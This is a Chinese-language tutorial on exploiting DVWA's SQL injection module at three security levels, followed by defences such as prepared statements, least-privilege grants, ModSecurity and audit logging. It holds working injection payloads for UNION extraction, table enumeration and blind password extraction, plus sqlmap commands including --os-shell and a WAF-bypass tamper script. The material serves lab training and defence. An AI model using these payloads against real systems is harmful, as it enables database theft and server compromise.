DVWA(Damn Vulnerable Web Application)作为经典的Web安全演练平台,其SQL注入模块模拟了真实场景中开发者未对用户输入进行过滤导致的数据库漏洞。我第一次接触这个靶场时,发现它完美复现了新手程序员常犯的错误——直接将用户输入拼接到SQL语句中。
SQL注入的本质是通过构造特殊输入,改变原有SQL语句的逻辑结构。比如原本的查询语句是:
sql复制SELECT * FROM users WHERE id='$input'
当攻击者输入' OR '1'='1时,语句变为:
sql复制SELECT * FROM users WHERE id='' OR '1'='1'
这将返回users表中的所有记录。在DVWA的Low安全级别下,你可以直接观察到这种最基础的注入形态。
将安全级别设置为Low后,登录页面直接暴露了SQL语句拼接的漏洞。我常用的测试步骤如下:
'触发错误,确认存在注入点' OR 1=1 -- 绕过登录' UNION SELECT 1,2,3,4 -- 确定字段数sql复制' UNION SELECT 1,database(),user(),version() --
关键技巧:注释符
--后的空格必须保留,这是SQL语法要求。很多新手会忽略这个细节导致Payload失效。
Medium级别改用POST提交且参数经过mysql_real_escape_string处理。但存在类型转换漏洞:
id参数1 OR 1=1sql复制1 UNION SELECT 1,GROUP_CONCAT(table_name),3,4 FROM information_schema.tables WHERE table_schema=database() --
实测中发现数字型注入不需要引号闭合,这是与Low级别的本质区别。
High级别采用弹窗式认证,注入点在Cookie中:
id的Cookie值sql复制' AND (SELECT SLEEP(5) FROM users WHERE user='admin') AND '1'='1
sql复制' AND SUBSTRING((SELECT password FROM users WHERE user='admin'),1,1)='a' --
虽然手工注入能加深理解,但实际渗透中常使用自动化工具。以Low级别为例:
bash复制sqlmap -u "http://靶场地址/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=xxx; security=low" --batch
关键参数说明:
--risk=3:启用危险检测(如DROP语句)--level=5:提高检测强度--os-shell:尝试获取系统shell遇到WAF防护时,可以编写Tamper脚本绕过。比如对空格过滤的情况:
python复制def tamper(payload):
return payload.replace(" ", "/**/")
保存为space2comment.py后使用:
bash复制sqlmap ... --tamper=space2comment
以PHP为例,安全写法应该是:
php复制$stmt = $db->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $input);
$stmt->execute();
很多开发者会尝试用以下方式"防御":
php复制$input = str_replace("'", "", $input);
但这无法防御:
1 OR 1=1)%27代替单引号)/*!SELECT*/)MySQL账户配置建议:
sql复制CREATE USER 'appuser'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT ON appdb.* TO 'appuser'@'localhost';
REVOKE DROP, FILE, ALTER ON *.* FROM 'appuser'@'localhost';
ModSecurity核心规则:
code复制SecRule ARGS "@detectSQLi" "id:10001,phase:2,deny"
MySQL开启审计:
ini复制[mysqld]
plugin-load = audit_log.so
audit_log_format = JSON
audit_log_policy = ALL
使用RASP技术示例:
java复制// 在JDBC驱动层植入检测逻辑
if (sql.contains("UNION") && !isWhitelisted(sql)) {
throw new SQLSecurityException();
}
通过DVWA的SQL注入模块,我总结出三个维度的收获:
攻击视角:理解Payload构造原理,比如通过CONCAT(CHAR(120,121,122),...)绕过关键词过滤
防御视角:认识到单纯依赖WAF的局限性,需要结合代码审计、权限控制等多层防护
运维视角:掌握数据库监控方法,如定期检查information_schema.PROCESSLIST中的异常查询
最后分享一个排查技巧:当怀疑存在SQL注入时,可以在数据库开启通用查询日志,实时观察执行的SQL语句结构,这比单纯看应用日志更直接有效。